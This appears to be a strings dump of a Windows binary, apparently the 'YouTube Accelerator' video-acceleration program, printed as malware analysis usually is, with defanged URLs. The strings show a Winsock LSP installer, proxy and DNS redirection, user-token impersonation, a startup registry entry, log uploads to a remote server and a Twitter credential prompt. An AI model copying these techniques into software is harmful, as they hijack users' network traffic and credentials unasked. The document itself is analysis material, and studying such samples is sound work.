[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

Name: %s

Path: %s

Version: %s

%s_%d.log

CSLogReportEventThread::DoPacLogFiles] Zip file created.

*.bak

CSLogReportEventThread::DoPacLogFiles] ___Error FindFirstFile( %s ): %d

*.log

Config.xml

CSLogReportEventThread::DoPacLogFiles] ___Error to Create Zip file.

BakLspCommTest.zip

LspCommTest.zip

[CSLogReportEventThread::DoPostZipFile] ___Error POST FAILED. LE: %X

[CSLogReportEventThread::DoPostZipFile] POST SUCCEEDED

hXXp://online.@[email protected]/online/CommunicationTestFailed.aspx

[CSLogReportEventThread::DoPostZipFile] Trying to POST...

[CSLogReportEventThread::DoPostZipFile] ___Error CHttp to Connect: %X, Server: %s

hXXp://online.@[email protected]/online/

CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to get Zip file length.

CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to open file: %s

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d

SOFTWARE\GOOBZO\YouTube Accelerator\%s\Original

SOFTWARE\GOOBZO\YouTube Accelerator\%s\Current

M[CRegistrationMgr::IsTrialVersion]%d

exp=%d

ins=%d

Dur=%d

[CRegistrationMgr::SetTrial] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::UpdateTrialParams] ___Error XMLNode::emptyNode %s

Trial.dat

Trial_QA.xml

[CRegistrationMgr::StartTrial] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode .%d

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode .%d

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %s

(%d days left)

DAYURL

[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetDailyUrl]

[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetContinueTrialDailyUrl]

[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %s

xmldb.dll

config.xml

RtmpListenPort

MiTunes.exe

[CSA_GUIApp::RegisterCommTestEvents] ___Error m_pPipeEventThread == NULL

[CSA_GUIApp::UnRegisterCommTestEvents] ___Error m_pPipeEventThread == NULL

[CSA_GUIApp::IsTrial] m_bIsTrial = %d

User%d

[CSA_GUIApp::GoToURL] ___Error FindExecutable failed url = %s

[CSA_GUIApp::GoToURL] ___Error The specified file was not found

YouTubeAccelerator.exe

[CSA_GUIApp::IsTestingSucceeded] InstalledLspVersion: %s, SBLSP: %s

ytalsp.dll

[CSA_GUIApp::UpdateRunOnStartup] Creating Run on startup registry key for %s

[CSA_GUIApp::RunUnwise] ___Error WaitForSingleObject: %d

[CSA_GUIApp::RunUnwise] ___Error CreateProcess: %d, Command: %s

unwise.exe

[CSA_GUIApp::GetTempDir] ___Error GetTempPath: %d

[CSA_GUIApp::GetTempDir] Folder: %s

[CSA_GUIApp::RunFromTemp] ___Error CreateProcess: %d, Command: %s

%s %s

[CSA_GUIApp::RunFromTemp] ___Error Copy: %s - to Temp: %s

YoutubeAcceleratorService.exe

D[CSA_GUIApp::SetTestingSucceeded] InstalledLspVersion: %s

[CSA_GUIApp::UpdateResourceDll] ___Error Removing %s. Err = %d

[CSA_GUIApp::UpdateResourceDll] ___Error Renaming %s to %s. Err = %d

[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x (Temp)

[CSA_GUIApp::UpdateResourceDll] VAResTemp.dll file Path: %s

Res\VARes_%d\

[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x

[CSA_GUIApp::UpdateResourceDll] ___Error CreateDirectoryRecursivlyFromPath: %x

[CSA_GUIApp::UpdateResourceDll] Resources Folder: %s

VARes_%d\

[CSA_GUIApp::UpdateResourceDll] DllVer: %d, RegVer: %d, TmpVer: %d

ResOld.dll

ResTemp.dll

[CSA_GUIApp::UpdateResourceDll] ___Error GetPath: %x

[CSA_GUIApp::RunFinishHtml] GotoURL status is %d

[CSA_GUIApp::RunFinishHtml] Finish URL is : %s

hXXp://@BRAND_ID@.@[email protected]/finishinstall?

hXXp://rep.@[email protected]/app/ping.ashx

engine.dll

[CSA_GUIApp::FormatURL] URL: %s

&TrialDaysLeft=%d

?V=%s&pr=%d&Beta=%d&Emode=%d

[CSA_GUIApp::InitInstance] __Error m_pPipeEventThread = NULL

[CSA_GUIApp::InitInstance] Uninstall URL - GotoURL status is %d

[CSA_GUIApp::InitInstance] ___Error to load VideoAccelerator - CreateDialog Failed: %d

VA???.lng

[CSA_GUIDlg::OnShowTrayIcon] - m_TrayIcon.ShowIcon() Failed !!!

[CSA_GUIDlg::SetOpenMainWindowDisableFlag]bVal = %d

%s&OEM=%s

hXXp://@BRAND_ID@.@[email protected]/support/help

VIDEO_ACCELERATOR.MHT

[CSA_GUIDlg::ShowMenora] ___Error No lending url

[CSA_GUIDlg::OnMenoraOpen] ___Error url empty

[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned after Timeout, error %d

[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned failure %d, error %d

[CSA_GUIDlg::RunLspInstaller] Wait for LSP Installer process to complete for %d milsecs...

[CSA_GUIDlg::RunLspInstaller] Executing LSP Installer process: %s

-b -d %s

lspinst2.exe

lspinst.exe

CSABaseWebWindow::OnBeginDrag

CSABaseWebWindow::OnStopDrag

ECSABaseWebWindow::Navigate : url = %s

CSABaseWebWindow::OnNavigateError : url = %s

CSABaseWebWindow::OnNavigateComplete : url = %s

CSABaseWebWindow::OnDocumentComplete : url = %s

CSANotifierWebWindow::SetMetaData GOT 'height'

CSANotifierWebWindow::SetMetaData GOT 'width'

[CSANotifierWebWindow::ReplaceLNGTags] replacing "%s" with "%s" = "%s" from String table

[CSANotifierWebWindow::ReplaceLNGTags] ___Error no "%s" in String table, putting "%s"

[CSANotifierWebWindow::ReplaceLNGTags] ALT case replacing <STRING_GOES_HERE> at "%s" with "%s" = "%s" from String table

[CSANotifierWebWindow::ReplaceLNGTags] ___Error ALT case no "%s" in String table, putting "%s" instead of <STRING_GOES_HERE> at "%s"

[CSANotifierWebWindow::ReplaceLNGTags] length %d

[CSANotifierWebWindow::ReplaceLNGTags]

[CSANotifierMgr::GetAvaliableNotifier] Message %d is already displayed

ItweetMessage.mht

SilentTestFailed.mht

SilentTestSucceeded.mht

ITUNESMESSAGE.MHT

hXXp://VVV.fileratings.com/video/@PRODUCT_DOMAIN@/12/buyiTunes.asp

OldDriver.mht

Activation_Expired.mht

noupdates.mht

exiting.mht

va_on.mht

va_off.mht

dl_update.mht

update.mht

HD_DISABLED.MHT

ACCELERATION_NOT_SUPPORTED.MHT

now_accelerating.mht

ACCELERATION_NOT_SUPPORTED_CHECKBOX

ACCELERATION_NOT_SUPPORTED_BUTTON_OK

%d days left.

%d Days left

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d

F[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

%s\%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

I[CSettingDlg::LoadEngine] ___Error to Create IHttpEngineConfiguration

[CSettingDlg::OnInitDialog] ___Error to Create IHttpEngineConfiguration

WININET.DLL

Gkernel32.dll

d/d/%d d:d:d::d

[CUtils::GoToURL] ___Error WinExec url = %s, defBrowser = %s, err = %d

"%s" "%s"

"%s" %s

[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl

[CVA_Alert::OnDeserialize] ___Error get m_URL

[ACCELINFO::OnDeserialize] ___Error get URL

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

zvl=%s&

%s?e=%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings

Hcomctl32.dll

Hcomdlg32.dll

Hshell32.dll

accKeyboardShortcut

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl

Afx:%p:%x:%p:%p:%p

Afx:%p:%x

commctrl_DragListMsg

Hf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Software\Microsoft\Windows\CurrentVersion\Policies\Network

Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32

ntdll.dll

%s%s.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp

mfcm90u.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp

Jf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp

J.INI

J.com

DLG_%u

PID%u

les (x86)\YouTube Accelerator\YouTubeAccelerator.exe

Important:

Port:

Contact Our Support

See supported video sites

Join Today!

2.0.5.3

Watch YouTube and other web videos without pauses.

Twitter login

Password:

Enter your username and password for Twitter:

<div class="videoitem"><div class="videoimage"><div border" id="%s"><a href="%s" onmouseover="setBorder('%s','1');" onmouseout="setBorder('%s','0');"><img src="images/video/3.jpg" name="moreimg" width="68" /></a></div></div><div class="videotxt">%s</div>

Communications test failed.JWe believe it might be a Security / Firewall issue.

For additional information, contact our support at:

hXXp://@[email protected]/support/

hXXp://@[email protected]/support/VWe believe the problem might be caused by Karspersky antivirus.

hXXp://@[email protected]/support/

Enter port,Please enter a valid Port number (0 - 65536)UPlease enter a valid Domain name or IP address

(e.g. sample.proxy.com, 192.168.1.100)

@BRAND@ - Settings error!3{lX-X-x-XX-XXXXXX}!Get the premium video experience.!The premium web video experience.6Enjoy HD videos and iTunes purchases without the wait.P@BRAND@ Premium

lets you enjoy HD videos and iTunes downloads without the wait.XPlease Approve @BRAND@ in your Firewall and/or Antivirus to complete the Installation...

@BRAND@ECheck out the video %s from %s I'm watching it smoothly with @[email protected] out the video from %s I'm watching it smoothly with @BRAND@.!You are using %s - Translated by:

@BRAND@ is accelerating...#Restart required to change languageeYou have selected %s as VA's interface language.

@BRAND@ Trial version!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.

!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.

Normal video acceleration\Watch smooth web videos with bit rates up to 100 KBps without buffering & interruptions.

HD Video AccelerationNStop waiting while you watch HD web videos with high bit rates above 200 KBps.

Supported Video Sites

Every web video just got better

All Files (*.*)

No error message is available.#Attempted an unsupported operation.$A required resource was unavailable.

Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.

Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else.1Encountered an unexpected error while reading %1.1Encountered an unexpected error while writing %1.

#Unable to load mail system support.

3.3.8.9

jsdrv.exe_1868:

.text

`.rdata

@.data

.rsrc

@.reloc

HTTPt

FV<.tN<[tJ<\tF<*tB<|t><^t:<$t6

QSSSSh`

u.PSh

Tu8%XuJ@Uu

Tu.AUub

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CLoader::DisableDnsController] ___Error Disabling Dns Redirect Controller. LE: %X

[CLoader::ProcessTimeoutEvent] ___Warning: Unsupported event (%d)

[CLoader::AddRef] RefCount: %d

[CLoader::Release] RefCount: %d

[CLoader::UpdateVersionStatus] Status: %d (%d)

[CLoader::UnLoadRedirector] ___Error to Stop the Redirect Controller. LE: %d

[CLoader::GetMode] Engine Mode = %d

- m_ImpersonateDone = %d, m_DoLoadModules = %d m_UIRunning = %d

spCmd

[CLoader::DoStop] ___Error UnLoadMonitor - %X

[CLoader::DoStop] ___Error UnLoadRedirector - %X

[CLoader::DoStop] ___Error UnLoadProxy - %X

[CLoader::Load] Added %d m_nLSPConfChangedEvent

[CLoader::IsToLoadProxyModule] ___Error to Create IHttpEngineConfiguration

[CLoader::IsToLoadProxyModule] FALSE - Partner: %s

[CLoader::IsToLoadProxyModule] OEM: %s, Partner: %s

Monitor.dll

%d.%d.%d.%d

[CLoader::LoadProxy] ___Error: Failed To Create the proxy, CreateProxy: %d

[CLoader::RunLspInstaller] ___Error CreateProcess: %d

[CLoader::RunLspInstaller] CreateProcess: %s

\\.\pipe\VAPIPESERVERENG

[CLoader::RunPartnerCommTest] ___Error to create CommTest process. LE: %d

CommTest.exe

[CLoader::FixLSPStatus] Not going to fix LSP, it has been called %d times

[CLoader::CheckOurLSPStatus] Done.

[CLoader::CheckOurLSPStatus] ___Error CreateProcess: %d

[CLoader::CheckOurLSPStatus] CreateProcess: %s

[CLoader::CheckOurLSPStatus]

EmptyKey

[CLoader::InitCore] ___Warning - failed Open Current User Key - ProductInfo.m_hKeyRoot = ACCELERATOR_GLOBAL_KEY

3.3.9.3

[CLoader::InstallLsp] Done - %s

[CLoader::InstallLsp] Running second LSP installation method - %s

2.exe

[CLoader::SetLastTestSucceeded] InstalledLspVersion: %s

[CLoader::UnInstallLSP] Done - %s

Name: %s

Path: %s

Version: %s

%s_%d_%s.log

[CLoader::LoadModules] Already loaded, Status = %d, return...

[CLoader::ProcessEvent] ___Warning: Unsupported event (%d)

[CLoader::ProcessEvent] m_nLSPConfChangedEvent - Added %d

[CLoader::ProcessEvent] m_nLSPConfChangedEvent - LSP configuration has changed, event %d

[CLoader::ProcessEvent] m_UninstallLspProcess - GetExitCodeProcess() returned: %d

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Added %d m_nLSPConfChangedEvent

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - GetExitCodeProcess() returned: %d

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Check if our LSP installed DONE, event %d

[CLoader::ProcessEvent] m_InstallLspProcess - GetExitCodeProcess returned: %d

[CLoader::ProcessEvent] m_CommTestSucceeded - Added %d m_nLSPConfChangedEvent

%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

jsdrv.exe

config.xml

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

\\.\pipe\VAPIPESERVERUI

[CBaseProviderProc::WSPAccept] ___Warning m_ProcTable.lpWSPAccept is not initialized, calling WSAAccept

[CBaseProviderProc::WSPAddressToString] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSAAddressToString

[CBaseProviderProc::WSPAsyncSelect] ___Warning m_ProcTable.WSPAsyncSelect is not initialized, calling WSAAsyncSelect

[CBaseProviderProc::WSPBind] ___Warning m_ProcTable.lpWSPBind is not initialized, calling bind

[CBaseProviderProc::WSPCancelBlockingCall] ___Warning m_ProcTable.lpWSPCancelBlockingCall is not initialized, calling WSACancelBlockingCall

[CBaseProviderProc::WSPCloseSocket] ___Warning m_ProcTable.lpWSPCloseSocket is not initialized, calling closesocket

[CBaseProviderProc::WSPConnect] ___Warning m_ProcTable.lpWSPConnect is not initialized, calling WSAConnect

[CBaseProviderProc::WSPDuplicateSocket] ___Warning m_ProcTable.lpWSPDuplicateSocket is not initialized, calling WSADuplicateSocketW

[CBaseProviderProc::WSPEnumNetworkEvents] ___Warning m_ProcTable.lpWSPEnumNetworkEvents is not initialized, calling WSAEnumNetworkEvents

[CBaseProviderProc::WSPEventSelect] ___Warning m_ProcTable.lpWSPEventSelect is not initialized, calling WSAEventSelect

[CBaseProviderProc::WSPGetOverlappedResult] ___Warning m_ProcTable.lpWSPGetOverlappedResult is not initialized, calling WSAGetOverlappedResult

[CBaseProviderProc::WSPGetPeerName] ___Warning m_ProcTable.lpWSPGetPeerName is not initialized, calling getpeername

[CBaseProviderProc::WSPGetSockName] ___Warning m_ProcTable.lpWSPGetSockName is not initialized, calling getsockname

[CBaseProviderProc::WSPGetSockOpt] ___Warning m_ProcTable.lpWSPGetSockOpt is not initialized, calling getsockopt

[CBaseProviderProc::WSPGetQOSByName] ___Warning m_ProcTable.lpWSPGetQOSByName is not initialized, calling WSAGetQOSByName

[CBaseProviderProc::WSPIoctl] ___Warning m_ProcTable.lpWSPIoctl is not initialized, calling WSAIoctl

[CBaseProviderProc::WSPJoinLeaf] ___Warning m_ProcTable.lpWSPJoinLeaf is not initialized, calling WSAJoinLeaf

[CBaseProviderProc::WSPJoinLeaf]

[CBaseProviderProc::WSPListen] ___Warning m_ProcTable.lpWSPListen is not initialized, calling listen

[CBaseProviderProc::WSPRecv] ___Warning m_ProcTable.lpWSPRecv is not initialized, calling WSARecv

[CBaseProviderProc::WSPRecvDisconnect] ___Warning m_ProcTable.lpWSPRecvDisconnect is not initialized, calling WSARecvDisconnect

[CBaseProviderProc::WSPRecvFrom] ___Warning m_ProcTable.lpWSPRecvFrom is not initialized, calling WSARecvFrom

[CBaseProviderProc::WSPSelect] ___Warning m_ProcTable.lpWSPSelect is not initialized, calling select

[CBaseProviderProc::WSPSend] ___Warning m_ProcTable.lpWSPSend is not initialized, calling WSASend

[CBaseProviderProc::WSPSendDisconnect] ___Warning m_ProcTable.lpWSPSendDisconnect is not initialized, calling WSASendDisconnect

[CBaseProviderProc::WSPSendTo] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSASendTo

[CBaseProviderProc::WSPSetSockOpt] ___Warning m_ProcTable.lpWSPSetSockOpt is not initialized, calling setsockopt

[CBaseProviderProc::WSPShutdown] ___Warning m_ProcTable.lpWSPShutdown is not initialized, calling shutdown

[CBaseProviderProc::WSPStringToAddress] ___Warning m_ProcTable.lpWSPStringToAddress is not initialized, calling WSAStringToAddress

[CBaseProviderProc::WSPSocket] ___Warning m_ProcTable.lpWSPSocket is not initialized, calling socket

[CBaseProviderProc::WSPSocket] ___Error could not find protocol for af %d, type %d, protocol %d

[CBaseProviderProc::WSPSocket] ___Error not appropriate af %d

[CBaseProviderProc::WSPCleanup] ___Warning m_ProcTable.lpWSPCleanup is not initialized, calling WSACleanup

[CRedirectController::SetPassThrough]

[CRedirectController::GetTestingMode] %d

